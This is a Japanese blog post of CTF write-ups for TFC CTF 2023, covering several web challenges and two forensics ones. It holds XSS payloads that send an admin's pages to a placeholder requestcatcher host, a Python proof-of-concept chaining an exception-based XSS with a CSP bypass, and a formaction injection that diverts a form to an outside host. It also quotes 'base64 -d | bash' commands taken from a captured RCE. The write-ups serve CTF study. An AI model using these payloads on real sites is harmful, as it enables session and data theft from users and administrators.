はまやんはまやんはまやん

hamayanhamayan's blog

TFC CTF 2023 Writeups

[web] MCTREE

ポチポチやっていたら解けた。
adminでログインするのがゴール。

ユーザー作成時の挙動してユーザー名にいくつか禁止文字があるようで削除されて登録される。
つまり、test"とするとtestというユーザー名にサニタイズして登録される。
普通にadminで登録しようとするとユーザー名重複で怒られるがadmin"で登録すると重複チェックをすり抜け、
その後のサニタイズ処理でadminになるので、adminユーザーを新規に作る(もしくは上書きかも)ことができる。
後は、ユーザー名をadminにして、パスワードを指定したものを使ってログインするとフラグが得られる。

[web] BABY DUCKY NOTES

warmupレベルのXSSの問題。
Cookieを盗めばいいかーと思ったが、sessionが入っているcookieは HttpOnly属性が付いている。
routes.pyを見ると以下のようにGET /posts/でadminかをチェックしているので、/posts/の内容が盗めればよさそう。

@web.route('/posts/', methods=['GET'])
@auth_required
def posts(username):
    if username != 'admin':
        return jsonify('You must be admin to see all posts!'), 401
    ...

BOTの挙動としてはログイン後に/posts/view/{username}を開く感じ。

client.get(f"http://localhost:1337/login")
time.sleep(3)

client.find_element(By.ID, "username").send_keys('admin')
client.find_element(By.ID, "password").send_keys(os.environ.get("ADMIN_PASSWD"))
client.execute_script("document.getElementById('login-btn').click()")
time.sleep(3)

client.get(f"http://localhost:1337/posts/view/{username}")

/posts/view/{username}について色々確認すると、
posts.htmlの以下部分でXSS可能なことが分かる。

<p> {{post.get('content') | safe}} </p>

特に制約するような部分もないので以下のようなcontentを作って保存して、
adminに報告するとフラグ込みのHTMLソースが得られる。

<img src=1 onerror='fetch("/posts/").then(r=>r.text()).then(z=>navigator.sendBeacon("https://[yours].requestcatcher.com/flag", z))'>

[web] BABY DUCKY NOTES: REVENGE

REVENGE問題なので、前問のソースコードWinMergeを使ってdiffを取ってみると、
database.pyだけ意味のある修正があり、フラグを含むポストのhiddenが1に設定されている。

…特に無印版での自分の解法を回避するものではなかったので、同じpayloadでフラグが得られる。

<img src=1 onerror='fetch("/posts/").then(r=>r.text()).then(z=>navigator.sendBeacon("https://[yours].requestcatcher.com/flag", z))'>

前問はよくよく見るとXSSではなく、GET /posts/view/adminのIDORで取得できたのか。

[web] DUCKY NOTES: PART 3

DUCKY NOTESシリーズで続いている問題なので、前問のソースコードとdiffを取ってみる。
すると、今回はposts.htmlでのXSSが修正されていた。
ソースコードを見返すともう1箇所XSSできそうなポイントがある。
app.pyの例外処理部分である。

@app.errorhandler(Exception)
def handle_error(e):
    if not e.args or "username" not in e.args[0].keys():
        return e, 500
    
    error_date = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
    post = e.args[0]
    log_message = f'"{error_date}" {post["username"]} {post["content"]}'

    with open(f"{app.config['LOG_DIR']}{error_date}.txt", 'w') as f:
        f.write(log_message)

    return log_message, 500

例外のメッセージはそのまま出力されているので、ここにXSSコードを仕込むことができればXSSが実行できそうである。
問題はどこで例外を出すかであるが、そういった観点で見ると、やや不自然に例外を出している部分が一部存在している。
その中でもroutes.pyにある以下の部分が悪用可能。

@web.route('/posts/', methods=['GET'])
@auth_required
def posts(username):
    frontend_posts = []
    posts = db_get_all_users_posts()

    for post in posts:
        try:
            frontend_posts += [{'username': post['username'], 
                                'title': post['title'], 
                                'content': post['content']}]
        except:
            raise Exception(post)

    return render_template('posts.html', posts=frontend_posts)

postの内容は比較的外部から差し込みやすいのでExceptionをうまく起こすことができればXSSに持っていけそうではある。
どうやってこのExceptionが呼べそうか考えるが、dictionary型で例外といえば、要素がなかった場合であるため、どこかの要素をnullにできないか考えてみる。
以下のような感じで投稿をすると目的の状況を作り出せた。

POST /api/posts HTTP/1.1
Host: localhost:4444
Content-Length: 84
Content-Type: application/json
Cookie: session=eyJ1c2VybmFtZSI6Ii4uIn0.ZMQVUQ.GX41qogoGA9RQfYWfqZ_Ze_BOz8
Connection: close

{"title":null,"content":"<img src=x onerror=alert(document.domain)>","hidden":false}

titleをnullにすると最終的にExceptionで例外を発生させられる。
その時にpostが送られるが、その中のcontentに含まれるXSSコードがそのまま実行されて、XSSが達成できる。
上記リクエストを投げた後にGET /posts/を見れば確認できる。

後は、管理者にこのリクエストを踏ませるだけであるが、BOTの呼び方を再度確認するとclient.get(f"http://localhost:1337/posts/view/{username}")となっていて、
..みたいなユーザー名になっていれば、GET /posts/へのリクエストに変更させることができそうである。
そういうユーザー名が作れるかバリデーション処理を見てみると…

USERNAME_REGEX = re.compile('^[A-za-z0-9\.]{2,}$')

ちょうどできるようになっている!
ということで、ユーザー名を..にしたアカウントを作成して、nullを使った例外でのXSSテクを併用して以下のHTMLを実行させればフラグが得られる。

<img src=1 onerror='fetch("/posts/view/admin").then(r=>r.text()).then(z=>navigator.sendBeacon("https://[yours].requestcatcher.com/flag", z))'>

[web] DUCKY NOTES: ENDGAME

前問とのソースコード比較をするとapp.pyに以下が追加されている。

@app.after_request
def add_header(response):
    response.headers['X-Frame-Options'] = 'SAMEORIGIN'
    response.headers['Content-Security-Policy'] = "default-src 'self'; object-src 'none';"
    return response

default-srcがselfになっているのが厄介な部分。
CSPで制限されてはいるが、XSS自体はまだ可能である。
前問と基本方針は同じなのだが、もう1つ怪しい点を利用してCSP Bypassを行う。

selfと言えば、どこかにjavasciptコードを置いて、<script src=置いたjsコードパス></script>ができればselfに該当してCSP Bypassができる。
どこかに自由に文字列が置けないか探すと、XSS向けに使ってきたログの出力先がstatic以下になっている。
よって、/static/logs/[日時].txtの形で比較的任意の文字列が置けることになる。
これは非常に使えそう。jsコードとして認識させることはできないだろうか。
フォーマットは以下の通り。

log_message = f'"{error_date}" {post["username"]} {post["content"]}'

つまり、

"2023-07-28 20:19:57" testuser testcontent

という形でログが残る。
先頭の文字列はそのまま文字列として認識されてくれるが、
testuserのような普通のユーザー名が来ると、jsの構文としては壊れる。
ここでユーザー名にドットが使えることが役に立つ。
.toStringというユーザー名を使い、contentを工夫すると、任意のjavascriptコードをうめこみつつ、正しいjsの構文で認識させることが可能。
以下のようなログの形を目指す。

"2023-07-28 20:19:57" .toString ();[任意のjsコード];//

これで前半はtostringだけして何もないコードを実行させる体にでき、
後半で任意のjsコードが実行可能になる。

これでパーツが揃ったので、以下のような流れで攻撃を行う。POCコードもその後に付けておいたが、適当に書きすぎてtime.sleepが多いので消して読むと読みやすいと思う。

  1. [セッション1] ユーザー名.toStringのアカウント作成
  2. [セッション1] titleがnullでcontentに();[任意のjsコード];//としたポスト作成
  3. [セッション2] ユーザー名..のアカウント作成
  4. [セッション2] adminに報告。これで例外が発生し、ログが生成される
  5. GET /をするとサーバーの現在時刻が分かるので、そこを起点に軽い全探索をして、ログのファイルパスを特定
  6. [セッション1] ポストを全消し(しないと、意図せぬ所で例外が起こる)
  7. [セッション1] titleがnullでcontentに<script src="特定したjsコードとして実行可能なログのパス"></script>としたポスト作成
  8. [セッション2] adminに報告。これで例外が発生し、scriptタグが実行、ないし、ログに含まれる任意のjsコードが動く
import requests
import time
import re
import datetime

ROOT='http://challs.tfcctf.com:32701'
xss='fetch("/posts/view/admin").then(r=>r.text()).then(z=>{location.href = "https://[yours].requestcatcher.com/flag_" + btoa(z)})'

s1 = requests.Session()
s1.post(ROOT + '/api/register', json={'username':'.toString','password':'a'})
time.sleep(1)
s1.post(ROOT + '/api/login', json={'username':'.toString','password':'a'})
time.sleep(1)
s1.delete(ROOT + '/api/posts/all')
time.sleep(1)
s1.post(ROOT + '/api/posts', json={'title':None,'content':f'();{xss};//',"hidden":False})
time.sleep(1)

s2 = requests.Session()
s2.post(ROOT + '/api/register', json={'username':'..','password':'a'})
time.sleep(1)
s2.post(ROOT + '/api/login', json={'username':'..','password':'a'})
time.sleep(1)
s2.post(ROOT + '/api/report')
time.sleep(1)

print(f"[+] waiting admin ops.....")
time.sleep(10)

rawtext = requests.get(ROOT + '/').text
time.sleep(1)
current_time_str = re.search(r'(\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2})', rawtext)[0]
current_time = datetime.datetime.strptime(current_time_str, '%Y-%m-%d %H:%M:%S')
script_filename = ''
for minus in range(20):
    t = current_time - datetime.timedelta(seconds=minus)
    if requests.get(ROOT + '/static/logs/' + str(t) + '.txt').status_code == 200:
        time.sleep(1)
        script_filename = str(t) + '.txt'
        break

assert 0 < len(script_filename)

s1.delete(ROOT + '/api/posts/all')
time.sleep(1)
s1.post(ROOT + '/api/posts', json={'title':None,'content':f'<script src="/static/logs/{script_filename}"></script>',"hidden":False})
time.sleep(1)

s2.post(ROOT + '/api/report')
time.sleep(1)

print(f"[+] waiting admin ops.....")

[web] COOKIE STORE

BOTが入力ボックスにフラグを入力してくれるのでそれを窃取する問題。
以下のようにBOTは動く。

fields = urllib.parse.quote(fields)
client.get(f"http://localhost:1337/form_builder?fields={fields}")

time.sleep(2)
try:
    client.find_element(By.ID, "title").send_keys(FLAG)
except:
    pass
client.execute_script("""document.querySelector('input[type="submit"]').click();""")

GET /form_builderに任意のfieldsの値を与えて使わせることができる。
ここでは以下のような形でクエリストリングから文字列を取り出して使用される。

const urlParams = new URLSearchParams(window.location.search);
const fields = urlParams.get('fields');

let form_html = '';
let fields_list = [];
if (fields) {
    fields_list = fields.split(',');
    fields_list.forEach(element => {
        form_html += `<div class="mb-4">
            <label for="${element}" class="block text-gray-700 font-bold mb-2">${element}</label>
            <input type="text" name="${element}" id="${element}" class="shadow appearance-none border rounded w-full py-2 px-3 text-gray-700 leading-tight focus:outline-none focus:shadow-outline">
        </div>`;
    });
}
// This will sanitize the input
document.querySelector('#form_builder').setHTML(form_html);

ここでsetHTMLが使われているのがミソでコメントにもあるように単純なXSSコードなどは使用できない。
BOTの挙動からすればformの送信先を自分たちの受け手にするのが要求されているように見える。
なので、formタグを一旦閉じて、新しくaction属性を変更したformタグを作って…と思ったが、setHTMLによってうまく動かない。
うーんと思って調査を進めると

: フォーム要素 - HTML: ハイパーテキストマークアップ言語 | MDNでかなりいい情報が得られる。

action
フォーム経由で送信された情報を処理するプログラムの URL。この値は <button>、<input type="submit">、<input type="image"> の formaction 属性によって上書きすることが可能です。この属性は method="dialog" が設定されている場合は無視されます。

submitのformactionを使うとうまく送信先を変更させることができた。
以下をfieldsとして送信する。

<input type='submit' value='Submit' formaction='https://[yours].requestcatcher.com/get'>

まず、属性値の値をシングルクオートで囲うことで、form_htmlに埋め込むときにダブルクオートで囲われている部分で完全に文字列としてふるまうことができる。
具体的には、form_htmlでの+=での代入文の右辺値にあるfor="${element}"みたいな部分に配慮している。
仮にダブルクオートを使うと、この辺の構造が壊れて面倒なことになるのでシングルクオートで囲っている。
後は特に配慮することはない。最終的には以下のような出力となる。

<div class="mb-4">
<label for="<input type='submit' value='Submit' formaction='https://[yours].requestcatcher.com/get'>" class="block text-gray-700 font-bold mb-2"><input type="submit" value="Submit" formaction="https://[yours].requestcatcher.com/get"></label>
<input type="text" name="<input type='submit' value='Submit' formaction='https://[yours].requestcatcher.com/get'>" id="<input type='submit' value='Submit' formaction='https://[yours].requestcatcher.com/get'>" class="shadow appearance-none border rounded w-full py-2 px-3 text-gray-700 leading-tight focus:outline-none focus:shadow-outline">
</div>

requestcatcherで待ってるとフラグが降ってくる。

[forensics] DOWN BAD

PNGファイルが与えられる。
down-badという名前なので下にフラグがあるんだろうと推測して、
バイナリエディタで開いて、PNGのheightを増やすとフラグが出てきた。
TSXBINで開くと、構造を理解して表示、編集できるので便利。

[forensics] LIST


pcapファイルが与えられる。
適当にパケットを見ているとHTTPでRCEしている現場がある。

No.30120でidコマンドを送信し、No.30122でその結果を受け取っている。
更に眺めていくとecho ""ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiVCIgMj4vZGV2L251bGw="" | base64 -d | bashのようないかにも怪しいコマンドが見て取れる。
複数個あるので全部持ってこよう。

ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiVCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiRiIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiQyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiQyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiVCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiRiIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAieyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiYiIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiNCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAicyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiMyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiXyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiNiIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiNCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiXyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiaSIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAicyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAibiIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAidCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiXyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAidCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiaCIgMj4vZGV2L251bA==
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiYSIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAidCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiXyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiZyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiMCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiMCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiZCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAifSIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiVCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiVCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiRiIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiQyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiQyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiVCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiRiIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAieyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiYiIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiNCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAicyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiMyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiXyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiNiIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiNCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiXyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiaSIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAicyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAibiIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAidCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiXyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAidCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiaCIgMj4vZGV2L251bA==
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiYSIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAidCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiXyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiZyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiMCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiMCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiZCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAifSIgMj4vZGV2L251bGw=

微妙に違う。
デコードすると大部分が find /home/ctf -type f -name "{" 2>/dev/null という形になっていて、
-nameの部分を全部持ってくればフラグが出てくる。